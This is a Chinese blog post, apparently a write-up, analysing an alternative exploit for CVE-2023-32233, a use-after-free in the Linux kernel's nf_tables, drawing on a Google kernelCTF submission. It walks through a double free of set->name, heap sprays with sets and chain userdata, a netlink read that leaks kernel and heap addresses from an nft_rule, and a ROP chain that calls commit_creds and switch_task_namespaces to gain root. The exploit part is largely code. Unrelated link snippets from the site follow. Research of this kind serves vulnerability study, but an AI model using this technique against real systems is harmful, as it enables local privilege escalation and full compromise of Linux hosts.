这是对前文的补充,增加一种漏洞利用方案的分析,前文地址:

  1. https://www.cnblogs.com/hac425/p/17967844/cve202332233-vulnerability-analysis-and-utilization-qrjoh

前文的漏洞利用的策略是通过占位 set 让 ext 指针错位,从而越界销毁相邻的 expr 实现任意地址读写。

  1. static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
  2. const struct nft_set *set, void *elem)
  3. {
  4. struct nft_set_ext *ext = nft_set_elem_ext(set, elem);
  5. if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
  6. nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
  7. kfree(elem);
  8. }

本文的思路则是利用 NFT_MSG_DELSET 来使用 UAF 的 set,实现 set->name 的 double free.

  1. static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
  2. {
  3. int i;
  4. if (WARN_ON(set->use > 0))
  5. return;
  6. for (i = 0; i < set->num_exprs; i++)
  7. nft_expr_destroy(ctx, set->exprs[i]);
  8. set->ops->destroy(set);
  9. nft_set_catchall_destroy(ctx, set);
  10. kfree(set->name); // set->name double free
  11. kvfree(set);
  12. }
  13. static void nft_commit_release(struct nft_trans *trans)
  14. {
  15. switch (trans->msg_type) {
  16. case NFT_MSG_DELSET:
  17. nft_set_destroy(&trans->ctx, nft_trans_set(trans));
  18. break;

具体的步骤如下:

  1. 创建 匿名 set (pwn_lookup_set)
  2. 创建 rule 其中包含一个 lookup expr,该 expr 引用 pwn_lookup_set
  3. 下发 netlink 批处理请求,批处理中有两个请求:NFT_MSG_DELRULE、NFT_MSG_DELSET
  4. nft_commit_release 处理 NFT_MSG_DELRULE 删除 rule 和 lookup expr,同时会释放 pwn_lookup_set
  5. nft_commit_release 处理 NFT_MSG_DELSET 时就会引用已经释放的 pwn_lookup_set,尝试再次释放 set.

在 4-5 之间使用另一个 set (race_set)占位,内核执行完 5 后, race_set 和 race_set->name 的内存就会被释放,漏洞就转换为 race_set 的 UAF

​​​​​​

控制 race_set 的 name 长度可以获取 dyn-kmalloc-256 的 UAF,堆喷 race_set 控制 name 的代码如下

  1. for (int spray = 0; spray != 0x20; ++ spray) {
  2. char *set_name;
  3. asprintf(&set_name, "race_set_%0200hx", spray); // 分配 209 大小的 set_name
  4. pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
  5. }

为了获取方便的内存读写能力,使用 chain->udata 占位 set->name,然后释放 set 就能实现 chain->udata 的 uaf,分配 udata 的代码如下:

  1. static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
  2. u8 policy, u32 flags,
  3. struct netlink_ext_ack *extack)
  4. ...
  5. if (nla[NFTA_CHAIN_USERDATA]) {
  6. chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
  7. if (chain->udata == NULL) {
  8. err = -ENOMEM;
  9. goto err_destroy_chain;
  10. }
  11. chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
  12. }

堆喷 chain->udata 占位的相关代码:

  1. for(int i = 0 ; i < 0x20; i++){
  2. char *chain_name;
  3. asprintf(&chain_name, "spray_chain_%08hx", i);
  4. pwn_create_leak_chain(batch, seq++, chain_name);
  5. }

之后通过 NFT_MSG_GETCHAIN 就能读取 chain->udata 的数据,找一个有指针的对象占位 udata,就能泄露内核地址,这边使用的是 nft_rule 结构体:

rule 结构中的优点如下:

  • list 指针指向堆喷的相邻 rule,通过它可以泄露相邻堆块的地址,然后结合堆喷可以在相应地址上伪造数据。
  • rule 里面会内嵌 expr, expr 里面的 ops 指针保存了 KO 的地址,可以用来计算 gadget 的地址
  • rule 结构体占用的内存大小用户态可以控制

rule 占位后通过 NFT_MSG_GETCHAIN 通过 chain->udata 读出对象的数据,泄露相关地址:

  1. struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
  2. mnl_batch_buffer,
  3. NFT_MSG_GETCHAIN,
  4. NFPROTO_INET,
  5. NLM_F_ACK,
  6. seq
  7. );
  8. char *chain_name;
  9. asprintf(&chain_name, "spray_chain_%08hx", i);
  10. nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
  11. nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
  12. nftnl_chain_nlmsg_build_payload(nlh, chain);
  13. nftnl_chain_free(chain);
  14. if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
  15. err(1, "Cannot into mnl_socket_sendto()");
  16. }
  17. memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer));
  18. mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
  19. nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74];
  20. kbase = nft_counter_ops - NFT_COUNTER_OPS;
  21. heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64];
  22. victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;

泄露出堆地址和内核代码地址后,再利用 chain->udata 来伪造 rule 结构和 nft_counter expr

最后 NFT_MSG_DELRULE 触发 expr->ops->deactivate​ 的调用进入 ROP

  1. void make_payload_rop(uint64_t* data){
  2. int i = 0;
  3. data[i++] = kbase + POP_RSI_RET; // dummy
  4. data[i++] = 0;
  5. data[i++] = kbase + POP_RSI_RET; // dummy
  6. data[i++] = 0;
  7. data[i++] = kbase + POP_RSI_RET; // dummy
  8. data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate()
  9. // find_task_by_vpid(1)
  10. data[i++] = kbase + POP_RDI_RET;
  11. data[i++] = 1;
  12. data[i++] = kbase + FIND_TASK_BY_VPID;
  13. // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
  14. data[i++] = kbase + MOV_RDI_RAX_RET;
  15. data[i++] = kbase + POP_RSI_RET;
  16. data[i++] = kbase + INIT_NSPROXY;
  17. data[i++] = kbase + SWITCH_TASK_NAMESPACES;
  18. // commit_creds(&init_cred)
  19. data[i++] = kbase + POP_RDI_RET;
  20. data[i++] = kbase + INIT_CRED;
  21. data[i++] = kbase + COMMIT_CREDS;
  22. data[i++] = kbase + VFORK;
  23. data[i++] = kbase + DELAY;
  24. }

总结

struct rule 这种结构体中同时存在链表指针、内核镜像/ko地址 的对象是用于地址泄露非常理想的对象,可以同时泄露出堆地址和代码段地址,一般堆地址可能还可以通过内核逻辑进行占位从而控制数据,实现在内核特定地址中布置数据的功能,这个能力对于伪造内核对象来说是非常重要的功能。

对于桌面端内核漏洞 (ubuntu 有 ns 权限) 利用而言,netlink 里面的这些对象可以很方便的辅助漏洞利用。

参考

  1. https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md

CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析的更多相关文章

  1. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  2. Google 云计算中的 GFS 体系结构

          google 公司的很多业务具有数据量巨大的特点,为此,google 公司研发了云计算技术.google 云计 算结构中的 google 文件系统是其云计算技术中的三大法宝之一.本文主要介 ...

  3. 关于Google Chorme中字体小于12px的问题

    问题:当字体大小设置成小于12px时,Google chrome中字体的大小始终显示为12px. 而其他浏览器则没有这个问题. 这时只需要在要改变字体大小的元素中添加 -webkit-transfor ...

  4. Google Chrome中的高性能网络 (三)

    使用预连接优化了TCP连接管理 已经预解析到了主机名,也有了由OmniBox和Chrome Predictor提供信号,预示着用户未来的操作.为什么再进一步连接到目标主机,在用户真正发起请求前完成TC ...

  5. 如何在google test中指定只运行一部分测试

    博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:如何在google test中指定只运行一部分测试.

  6. google chrome中如何删除一条输入网址提示

    在google chrome中网站栏输入字母的时候会出现网址的提示,如下图: 之前遇到个问题,不知道之前打错了www.baidu.com为wwww.baidu.com(也会跳转到百度)导致一输入“w” ...

  7. 如何在Google Map中处理大量标记(ASP.NET)(转)

    如何在Google Map中处理大量标记(ASP.NET)(原创-翻译) Posted on 2010-07-29 22:04 Happy Coding 阅读(8827) 评论(8) 编辑 收藏 在你 ...

  8. Google搜索中的突变XSS-JavaScript Library Introduced XSS Flaw in Google Search

    前言2018年9月26日,开源Closure库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交,删除了部分输入过滤.据推测,这是因为开发人员在用户界面设计方面出现了问题.但此次提交的开发人 ...

  9. Excel与Google Sheets中实现线性规划求解

    很久没更新过APS系列文章了,这段时间项目工作确实非常紧,所以只能抽点时间学习一下运筹学的入门知识,算是为以后的APS项目积累点基础.看了一些运筹学的书(都是科普级别的)发现原来我目前面对的很多排产. ...

  10. Android技巧分享——如何用电脑下载在Google play中应用的apk文件

    [Android技巧分享系列] 1.Android技巧分享——让官方模拟器和genymotion虚拟机飞起来 2.Android技巧分享——如何用电脑下载在Google play中应用的apk文件 G ...

随机推荐

  1. mysql 批量有则修改,无则新增

    需要为表添加唯一索引 alter table tb_*** add unique index(aa,bb); -- 此条为联合唯一索引INSERT INTO<include refid=&quo ...

  2. 信创环境经典版SuerMap iManager ARM版部署流程

    一.环境 操作系统:银河麒麟kylin V10 CPU:鲲鹏920 SuperMap iManager 10.2.1 硬件:4H32G机器 磁盘分区格式建议如下(请严格按照如下,减少后期有用/目录资源 ...

  3. Adobe Acrobat XI Pro 合并多个PDF文件时弹出Flash提示

    事件起因: 某知名同事在使用 Acrobat XI Pro 软件合并多个PDF文件时弹出Flash提示报错,需要安装 FlashPlayer   解决办法: 合并文件的时候右上角选项-文件类型,选择& ...

  4. 支付宝 APP登录 获取用户信息 PHP(转)

    转载自:https://blog.csdn.net/wang78699425/article/details/78666401 支付宝 APP登录 获取用户信息 PHP(转) 支付宝APP登录服务端流 ...

  5. jwt实现登录 和 接口实现动态权限

    [Authorize]   ====   using Microsoft.AspNetCore.Authorization; 登录的 DTO namespace login; public class ...

  6. C#获取环境变量的值

    Environment.GetEnvironmentVariable("Path"); 修改环境变量之后,不能立即生效,需要重启一下VStudio 或重启电脑 : 在 vstudi ...

  7. modbus基础

    Modbus是一种单主站的主从通信模式,Modbus只能有一个主站,允许多个从站(0-247):从站之间不能交流:主站发送数据,从站应答: 一主多从 : 1. 地址码,表,功能码 地址码一般是Modb ...

  8. C#的Skip 和 Take 方法

    using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using Syst ...

  9. blocks 单调栈、单调队列题解

    blocks题解: 1.题面: 2.分析: 题意大概就是说,找一段最长的区间,并且这段区间的平均值>=k,那么我们可以对他的每一个值减去k,最终求和>=0即可. 那我们需要对每个可能的左端 ...

  10. 云原生周刊:Kubernetes v1.28 新特性一览 | 2023.8.14

    推荐一个 GitHub 仓库:Fast-Kubernetes. Fast-Kubernetes 是一个涵盖了 Kubernetes 的实验室(LABs)的仓库.它提供了关于 Kubernetes 的各 ...